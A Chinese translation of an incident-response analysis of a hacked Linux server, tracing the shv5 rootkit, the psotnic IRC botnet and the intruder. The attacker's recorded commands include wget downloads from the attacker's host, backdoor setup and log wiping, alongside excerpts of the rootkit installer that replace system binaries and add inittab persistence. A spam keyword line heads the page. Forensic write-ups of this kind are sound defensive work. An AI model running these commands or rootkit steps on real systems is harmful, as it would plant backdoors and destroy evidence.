自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

一次服務(wù)器被入侵后的分析

運(yùn)維 系統(tǒng)運(yùn)維
最近有個(gè)朋友讓我去幫他看一下他的Linux服務(wù)器,說是apache啟動(dòng)不了,有很多詭異的情況。后來證明絕不是apache啟動(dòng)不了這么簡單。本文將這次服務(wù)器被入侵后的分析整理出來,和大家分享一下。

最近有個(gè)朋友讓我去幫他看一下他的Linux服務(wù)器,說是Apache啟動(dòng)不了,有很多詭異的情況。后來證明絕不是Apache啟動(dòng)不了這么簡單。

登上服務(wù)器之后隨便看了下,最先引起我注意的是”ls”命令的輸出:

 

  1. lars@server1:~$ ls 
  2.   ls: invalid option -- h 
  3.   Try `ls --help' for more information. 

 

為什么”ls”默認(rèn)加了”-h”參數(shù)呢?我用”alias”命令看了一下,然后取消了這個(gè)別名之后”ls”就工作正常了。

  1. lars@server1:~$ alias ls 
  2.   alias ls='ls -sh --color=auto' 
  3.   lars@server1:~$ unalias ls 
  4.   lars@server1:~$ ls 
  5.   backup 
  6.   lars@server1:~$ 

 

雖然很奇怪,不過我的首要任務(wù)是先把a(bǔ)pache啟動(dòng)起來,等過會(huì)再仔細(xì)研究這個(gè)問題。

  1. lars@server1:~$ sudo /etc/init.d/apache2 start 
  2.   Password: 
  3.    * Starting apache 2.0 web server... 
  4.   (2): apache2: could not open error log file /var/log/apache2/error.log. 
  5.   Unable to open logs 
  6.    ...fail! 

 

納尼?趕緊去”/var/log/”目錄一看,果然”apache2/”文件夾不見了.而且這個(gè)目錄下其他的文件夾,比如”mysql/”,”samba/”也都不見了.一定是哪里出錯(cuò)了.會(huì)不會(huì)是我朋友不小心刪掉了呢,他跟我說絕對(duì)沒有.然后我用root登錄進(jìn)去準(zhǔn)備修復(fù)日志丟失的問題。

  1. lars@server1:~$ sudo -i 
  2.    Password: 
  3.    root@server1:~# ls 
  4.    ls: unrecognized prefix: do 
  5.    ls: unparsable value for LS_COLORS environment variable 
  6.    total 44 
  7.      4 .                 4 .bashrc           4 .ssh 
  8.      4 ..                4 .lesshst          8 .viminfo 
  9.      8 .bash_history     4 .profile          4 .vimrc 

 

很不幸的發(fā)現(xiàn),”ls”又出問題了.同樣,用”alias”命令:

  1. root@server1:~# alias ls 
  2.    alias ls='ls -sa --color=auto' 
  3.    root@server1:~# unalias ls 
  4.    root@server1:~# ls 
  5.    root@server1:~# 

 

這個(gè)時(shí)候,我才意識(shí)到問題的嚴(yán)重性.”ls”奇怪的舉動(dòng)和”/var/log/”大量日志被刪除讓我懷疑服務(wù)器是否被入侵了.當(dāng)我看到root目錄下的”.bash_history”時(shí),就已經(jīng)可以確定被入侵了。

  1. root@server1:~# cat -n .bash_history 
  2.    ... 
  3.    340  w 
  4.    341  cd /var 
  5.    342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 
  6.    343  tar -zxf shv5.tar.gz 
  7.    344  rm -rf shv5.tar.gz 
  8.    345  mv shv5 .x 
  9.    346  cd .x 
  10.    347  ./setup zibi.joe.149 54098 
  11.    348  passwd 
  12.    349  passwd 
  13.    350  ps aux 
  14.    351  crontab -l 
  15.    352  cat /etc/issue 
  16.    353  cat /etc/passwd 
  17.    354  w 
  18.    355  who 
  19.    356  cd /usr/lib/libsh 
  20.    357  ls 
  21.    358  hide + 
  22.    359  chmod +x hide 
  23.    360  hide + 
  24.    361  ./hide + 
  25.    362  cd /var/.x 
  26.    363  mkdir psotnic 
  27.    364  cd psotnic 
  28.    365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 
  29.    366  tar -zxf psotnic0.2.5.tar.gz 
  30.    367  rm -rf psotnic0.2.5.tar.gz 
  31.    368  ls 
  32.    369  mv psotnic-0.2.5-linux-static-ipv6 synscan 
  33.    370  ./synscan 
  34.    371  vi conf 
  35.    372  vi conf1 
  36.    373  mv synscan smbd 
  37.    374  smbd -c conf 
  38.    375  ls 
  39.    376  ps aux 
  40.    377  ls 
  41.    378  ./smbd -c conf 
  42.    379  ./smbd -c conf1 
  43.    380  ./smbd conf 
  44.    381  ./smbd conf1 
  45.    382  ./smbd -a conf conf1 
  46.    383  rm -rf conf.dec 
  47.    384  rm -rf conf1.dec 
  48.    385  cd /usr/lib/libsh 
  49.    386  ./hide + 
  50.    387  exit 
  51.    ... 
  52.    425  ssh ftp@62.101.251.166 
  53.    426  w 
  54.    427  ls 
  55.    428  ls 
  56.    429  cd /var/.x 
  57.    430  ls 
  58.    431  cd psotnic/ 
  59.    432  ls 
  60.    433  rm -rf /var/log/* 
  61.    434  exit 
  62.    435  ls 
  63.    436  cd /var/.x/psotnic/ 
  64.    437  ls 
  65.    438  vi conf2 
  66.    439  ./smbd -c conf2 
  67.    440  ./smbd conf2 
  68.    441  ./smbd -a conf conf1 conf2 
  69.    442  rm -rf conf2.dec 
  70.    443  cd .. 
  71.    444  ls 
  72.    445  cd /usr/lib/libsh 
  73.    446  hide + 
  74.    447  ./hide + 
  75.    448  exit 
  76.    449  ps aux 
  77.    450  cd /var/.x 
  78.    451  ls 
  79.    452  ls 
  80.    453  cd psotnic/ 
  81.    454  ls 
  82.    455  cat pid.MastaH 
  83.    456  kill -9 2030 
  84.    457  ./synscan -a conf conf1 
  85.    458  ./smbd -a conf conf1 
  86.    459  cd /usr/lib/libsh 
  87.    460  ./hide + 

 

這個(gè)系統(tǒng)已經(jīng)被入侵了.這實(shí)在是令人激動(dòng)的一件事情,不過很顯然,我的朋友不這么想.這個(gè)入侵者犯了一個(gè)很基本的錯(cuò)誤,沒有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛絲馬跡.接下來就是詳細(xì)的分析一下這次入侵。#p#

通過bash history我們得到了大量的信息.先來看一下”/var/.x”下面隱藏了什么和命令”setup zibi.joe.149 54098″的作用吧。

  1. root@server1:/var/.x# file setup 
  2.   setup: Bourne-Again shell script text executable 
  3.   root@server1:/var/.x# wc -l setup 
  4.   825 setup 
  5.   root@server1:/var/.x# head -17 setup 
  6.   #!/bin/bash 
  7.   # 
  8.   # shv5-internal-release 
  9.   # by: PinT[x] April/2003 
  10.   # 
  11.   # greetz to: 
  12.   # 
  13.   # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 
  14.   #                 C00L|0, GolDenLord, Spike, zion ... 
  15.   # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... 
  16.   # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... 
  17.   # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. 
  18.   # [*] And all others who diserve to be here but i forgot 
  19.   # [*] them at the moment ! 
  20.   # 
  21.   # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ ! 

 

“setup”這個(gè)腳本是rootkit shv5的安裝腳本.它安裝了一個(gè)修改過的ssh后門–”/bin/ttyload”,然后把它加到了”/etc/inittab”,這樣每次重啟后就會(huì)自動(dòng)啟動(dòng).(相關(guān)部分的腳本如下:)

  1. mv $SSHDIR/sshd /sbin/ttyload 
  2.    chmod a+xr /sbin/ttyload 
  3.    chmod o-w /sbin/ttyload 
  4.    touch -acmr /bin/ls /sbin/ttyload 
  5.    chattr +isa /sbin/ttyload 
  6.    kill -9 `pidof ttyload` >/dev/null 2>&1 
  7.    .... 
  8.    # INITTAB SHUFFLING 
  9.    chattr -isa /etc/inittab 
  10.    cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 
  11.    cat /etc/inittab |grep getty > /tmp/.init2 
  12.    echo "# Loading standard ttys" >> /tmp/.init1 
  13.    echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1 

 

它也替換了一些linux的標(biāo)準(zhǔn)命令。

  1. # Backdoor ps/top/du/ls/netstat/etc.. 
  2.    cd $BASEDIR/bin 
  3.    BACKUP=/usr/lib/libsh/.backup 
  4.    mkdir $BACKUP 
  5.    ... 
  6.    # ls ... 
  7.    chattr -isa /bin/ls 
  8.    cp /bin/ls $BACKUP 
  9.    mv -f ls /bin/ls 
  10.    chattr +isa /bin/ls 

 

這樣子就可以解釋為什么”ls”命令輸出那么奇怪了。

“.backup”文件夾保存了被替換之前的命令程序。

  1. root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/ 
  2.   total 552 
  3.   -rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find 
  4.   -rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig 
  5.   -rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls 
  6.   -rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum 
  7.   -rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat 
  8.   -rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps 
  9.   -rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree 
  10.   -rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top 

 

看了一下時(shí)間戳,居然是在圣誕節(jié)。

很顯然,原始的”ls”和后門安裝的”ls”是不一樣的.他們的md5對(duì)比如下:

 

  1. root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls 
  2. eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls 
  3. 0a07cf554c1a74ad974416f60916b78d  /bin/ls 
  4.   
  5. root@server1:~# file /bin/ls 
  6. /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked 
  7. (uses shared libs), for GNU/Linux 2.0.0, stripped 
  8.   
  9. root@server1:~# file /usr/lib/libsh/.backup/ls 
  10. /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked 
  11. (uses shared libs), for GNU/Linux 2.6.0, stripped 

這個(gè)rootkit(“sh5.tar.gz”)是從下面的地址下載的。

  1. root@server1:~# dig +short -x 83.19.148.250 
  2.    4lo.bydg.pl. 

 

這是一個(gè)波蘭的ip,從這個(gè)ip上沒有得到更多的信息.不過這個(gè)入侵者依然犯了幾個(gè)嚴(yán)重的錯(cuò)誤.

這是運(yùn)行”setup”命令的截圖:(在服務(wù)器上的沙盒里運(yùn)行的)

rq1

所以”zibi.joe.149″是后門的密碼,”54098″是端口號(hào).這是一個(gè)來自ssh.com的就版本的sshd.測試截圖如下:

rq2

安裝完后門之后,下一個(gè)步驟就是裝一個(gè)irc-bot,讓服務(wù)器變成僵尸網(wǎng)絡(luò)中的一員.”psotnic0.2.5.tar.gz”就是來達(dá)到這個(gè)目的的.入侵者解壓這個(gè)包之后把 irc-bot重命名為”smbd”,來達(dá)到隱藏的目的。

然后,他創(chuàng)建了兩個(gè)配置文件.文件中包含irc服務(wù)器和需要加入的頻道.配置文件是加密過的,而且明文的配置文件被刪掉了。

 

  1. vi conf 
  2. vi conf1 
  3. .... 
  4. ./smbd -c conf 
  5. ./smbd -c conf1 
  6. ./smbd conf 
  7. ./smbd conf1 
  8. ./smbd -a conf conf1 

 

讓我們執(zhí)行一下382這條命令,看看會(huì)發(fā)生什么。

  1. root@server1:/var/.x/psotnic# ./smbd -a conf conf1 
  2.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  3.    Copyright (C) 2003-2005 Grzegorz Rusin 
  4.    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 
  5.    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 
  6.    [+] Added 2 psotnics to cron 

 

哇!它添加了cron定時(shí)任務(wù).趕緊看一看:

 

  1. root@server1:/var/.x/psotnic# crontab -l 
  2.    */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 
  3.    */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 

 

#p#

接下來,我殺掉這兩個(gè)惡意的smbd進(jìn)程,禁用cron任務(wù).在另一個(gè)shell中運(yùn)行了tcpdump,然后手動(dòng)啟動(dòng)了這兩個(gè)irc-bot進(jìn)程:

  1. root@server1:~# cd /var/.x/psotnic; ./smbd conf 
  2.   
  3.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  4.    Copyright (C) 2003-2005 Grzegorz Rusin 
  5.   
  6.    [*] Acting as LEAF 
  7.    [+] Config loaded 
  8.    [+] Going into background [pid: 5724] 
  9.    root@server1:/var/.x/psotnic# ./smbd conf1 
  10.   
  11.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  12.    Copyright (C) 2003-2005 Grzegorz Rusin 
  13.   
  14.    [*] Acting as LEAF 
  15.    [+] Config loaded 
  16.    [+] Going into background [pid: 5727] 
  17.    root@server1:/var/.x/psotnic# 

 

用”ps”命令(后門替換過的)可以看到這兩個(gè)進(jìn)程.這也是為什么入侵者需要通過改名字來隱藏進(jìn)程。

  1. root@server1:/var/.x/psotnic# ps axuw | grep smb 
  2.    root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D 
  3.    root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D 
  4.    root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf 
  5.    root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1 

 

最開始兩個(gè)是真正的samba進(jìn)程,后面兩個(gè)是irc-bot,讓我們用”strace”命令來看看它做了什么:

 

  1. root@server1:~# strace -p 5727 
  2.    ... 
  3.    connect(3, {sa_family=AF_INETsin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress) 
  4.    ... 
  5.    connect(4, {sa_family=AF_INETsin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress) 

 

可以看到它嘗試連接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:

  1. root@server1:~# dig +short -x 83.18.74.235 
  2.    manhattan.na.pl. 
  3.    root@server1:~# dig +short -x 195.159.0.92 
  4.    ircnet.irc.powertech.no. 

 

又是一個(gè)波蘭的ip.另外一個(gè)ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的別名.是挪威一個(gè)著名的irc服務(wù)器。

tcpdump抓到了連接irc服務(wù)器的流量.正如下面的內(nèi)容顯示,它連接到了”irc.powertech.no”,加入了”#aik”頻道。

 

 

  1. :irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no 
  2.     :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1 
  3.   
  4.     :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik 
  5.     :irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo 
  6.     :irc.powertech.no 366 578PAB9NB #aik :End of NAMES list. 
  7.     :irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW 
  8.     :irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW 
  9.     :irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW 
  10.     :irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW 
  11.     :irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW 
  12.     :irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW 
  13.     :irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW 
  14.     :irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet.. 
  15.     :irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW 
  16.     :irc.powertech.no 315 578PAB9NB #aik :End of WHO list. 
  17.   
  18. 這些僅僅是加入#aik頻道,并開始監(jiān)聽該頻道所有成員的一些原始網(wǎng)絡(luò)流量.我決定自己進(jìn)入這個(gè)頻道看看.令我驚訝的是不需要任何密碼我就進(jìn)來了. 
  19.   
  20.     17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik 
  21.     17:43 [Users #aik] 
  22.     17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ] 
  23.     17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 
  24.     17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal] 
  25.     17:43 -!- Irssi: Join to #aik was synced in 1 secs 

 

 

我發(fā)現(xiàn)我朋友的服務(wù)器使用的昵稱是”578PQB9NB”,還有一些其他的服務(wù)器也在這里.這些僵尸服務(wù)器應(yīng)該是正在等待著我們的入侵者加入頻道發(fā)布命令.或者他已經(jīng)潛藏在這里了.我注意到,所有的昵稱都有一個(gè)后綴”\*-GTW”,只有一個(gè)沒有:

  1. 17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at] 
  2. 17:45 [powertech] -!-  ircname  : LaPi@IRCNet 
  3. 17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl 
  4.    #pingwinaria #hattrick #trade #admin @#!sh 
  5.    17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/] 

 

這是唯一一個(gè)加入了多個(gè)頻道的昵稱.我猜我已經(jīng)找到這個(gè)入侵者了,除非這是一個(gè)故意迷惑的誘餌.(恩,這個(gè)入侵者真的真么笨!!這么容易就找到了!?).我決定等幾天看看有木有什么有趣的事情發(fā)生.這個(gè)域名解析到了:

  1. $ dig +short campus19.panorama.sth.ac.at 
  2.    193.170.51.84 

 

根據(jù)RIPE的數(shù)據(jù),這個(gè)ip屬于Vienna University計(jì)算機(jī)中心,我發(fā)了一封郵件詢問關(guān)于這個(gè)域名的信息,他們幾個(gè)小時(shí)后會(huì)我了:

 

  1. From: Alexander Talos via RT 
  2.    To: larstra@ifi.uio.no 
  3.    Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603] 
  4.    Date: Fri, 18 May 2007 18:22:43 +0200 (CEST) 
  5.    Reply-To: cert@aco.net 
  6.   
  7.    -----BEGIN PGP SIGNED MESSAGE----- 
  8.    Hash: SHA1 
  9.   
  10.    Hej! 
  11.   
  12.    On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote: 
  13.   
  14.    > I have been tracking down cracker which connected from 
  15.    > campus19.panorama.sth.ac.at (193.170.51.84). The user, which 
  16.   
  17.    Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all 
  18.    behind a NAT gateway - it will be very hard to get hold of the 
  19.    miscreant. 
  20.   
  21.    This incident will, in the long run, definitely help me getting 
  22.    rid of the NAT boxes in setups like that, but right now, we will 
  23.    have to make do with what we have. 
  24.   
  25.    > Please investigate the host in question. Perhaps is this a 
  26.    > compromised host on your network acting as a jumpstation for 
  27.   
  28.    Sure, and even in a NATed environment, this is still possible. 
  29.   
  30.    Btw, you did a great job in analysing the compromised machine! 
  31.   
  32.    I'll let you know when I have either further questions or any 
  33.    interesting results. 
  34.   
  35.    Cheers, 
  36.   
  37.    Alexander Talos 
  38.   
  39.    - -- 
  40.    IT-Security, Universitaet Wien, ACOnet CERT 
  41.   
  42.    T: +43-1-4277-14351  M: +43-664-60277-14351 
 

 

看起來我不夠幸運(yùn)。#p#

接下來我曾嘗試連接irc頻道里其他僵尸主機(jī)的 54098端口,可惜都失敗了.看來其他的僵尸主機(jī)的后門可能使用的是別的端口。

連接到”83.18.74.235″的流量看起來很混亂.只好再次用strace命令:

 

  1. root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace 

 

跟預(yù)期的一樣,有很多輸出,其中一個(gè)是它嘗試啟動(dòng)”BitchX”,這是一個(gè)irc客戶端.但是失敗了,因?yàn)锽itchX沒有安裝:

  1. [pid  7537] write(2, "sh: ", 4)         = 4 
  2.    [pid  7537] write(2, "BitchX: not found", 17) = 17 
  3.    [pid  7537] write(2, "n", 1)           = 1 
  4.    [pid  7537] close(2)                    = 0 

 

下面的截圖是tcpdump抓到流量的一部分:

rq3

這僅僅是兩個(gè)假的smbd進(jìn)程中的一個(gè).另外一個(gè)也連到了兩個(gè)irc服務(wù)器,一個(gè)是波蘭這個(gè),另外一個(gè)是”irc.hitos.no”,位于挪威的特羅姆斯郡。

入侵者除了這些,還運(yùn)行了一個(gè)叫”hide”的腳本來清除日志:

  1. root@server1:/usr/lib/libsh# ./hide + 
  2.    Linux Hider v2.0 by mave 
  3.    enhanced by me! 
  4.    [+] [Shkupi Logcleaner] Removing + from the logs........ . 
  5.   
  6.    [+] /var/log/messages  ... [done] 
  7.   
  8.    [+] /var/run/utmp      ... [done] 
  9.   
  10.    [+] /var/log/lastlog   ... [done] 
  11.   
  12.    [+] /var/log/wtmp      ... [done] 
  13.   
  14.    * m i s s i o n  a c c o m p l i s h e d * 
  15.   
  16.    p.h.e.e.r  S.H.c.r.e.w 

 

那么這個(gè)入侵者為什么還要把”/var/log/”目錄全刪除了呢,是不相信這個(gè)工具么?還是他特別害怕?

可以看到這個(gè)服務(wù)器被入侵了,安裝了后門而且加入了僵尸網(wǎng)咯.但是入侵者犯了幾個(gè)錯(cuò)誤導(dǎo)致他可能被偵查到:

1、忘記清除”.bash_history”文件

2、“/var/log”目錄下所有文件都刪除了.導(dǎo)致某些程序無法啟動(dòng).很容易被發(fā)現(xiàn).

3、修改了root的密碼.又是一個(gè)愚蠢的行為.永遠(yuǎn)不要修改root密碼,這個(gè)必然會(huì)引起管理員的注意.

4、irc的頻道沒有密碼保護(hù).雖然即使有密碼,我們也可以抓包分析出來.

5、入侵者平時(shí)就在僵尸網(wǎng)絡(luò)的頻道閑逛?如果是這樣的話那他已經(jīng)暴露了.

當(dāng)然還有幾個(gè)遺留的問題:

1、”ssh ftp@62.101.251.166″ 這個(gè)命令是干嘛的.是入侵者不小心敲錯(cuò)了么還是有其他的目的?

 

  1. $ dig +short -x 62.101.251.166 
  2.      cA6FB653E.dhcp.bluecom.no. 

 

2、跟83.18.74.235(manhattan.na.pl)的通訊內(nèi)容是什么?

3、最重要的問題是他一開始是如何或得下系統(tǒng)的權(quán)限的?這個(gè)服務(wù)器運(yùn)行的是Ubuntu 6.06 LTS,打了最新的補(bǔ)丁??赡苋肭值耐緩剑?/p>

*猜測root密碼,不幸的是這個(gè)密碼是強(qiáng)密碼*

*未知的exploit*

*某個(gè)用戶在已經(jīng)被攻陷的主機(jī)上登錄這臺(tái)服務(wù)器.入侵者嗅探到了密碼.*

原文出處: lars strand   譯文出處: freebuf

【編輯推薦】

 

  1. 六種Linux桌面的最佳特性和最差特性
  2. Linux系統(tǒng)監(jiān)控知識(shí)分享
  3. 如何在Linux桌面或Mac上運(yùn)行Windows應(yīng)用程序?
  4. Linux 環(huán)境下快速部署 MySQL 的替代方案
  5. 高效Linux用戶需要了解的命令行技能
  6. 如何找到一款適合自己的Linux發(fā)行版?

 

【責(zé)任編輯:黃丹 TEL:(010)68476606】

責(zé)任編輯:黃丹 來源: jobbole.com
相關(guān)推薦

2013-12-24 13:59:03

2022-02-17 11:19:33

Kubernetes服務(wù)器運(yùn)維

2013-12-23 09:38:11

2016-09-08 22:54:14

2022-09-14 12:01:35

服務(wù)器入侵篡改,

2019-08-01 15:05:22

2019-06-11 09:23:38

2009-10-22 13:18:03

2017-10-18 09:06:41

2011-03-04 12:33:16

2022-10-25 08:56:16

2010-04-28 17:14:52

Google服務(wù)器

2018-05-30 11:09:41

memcache服務(wù)器故障

2019-06-10 15:20:18

2020-03-22 15:17:17

服務(wù)器科技芯片

2014-08-29 09:09:33

2018-03-02 10:42:44

服務(wù)器數(shù)據(jù)備份

2019-10-25 22:06:38

服務(wù)器開發(fā)工具

2017-12-06 19:00:53

2014-08-01 14:06:45

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)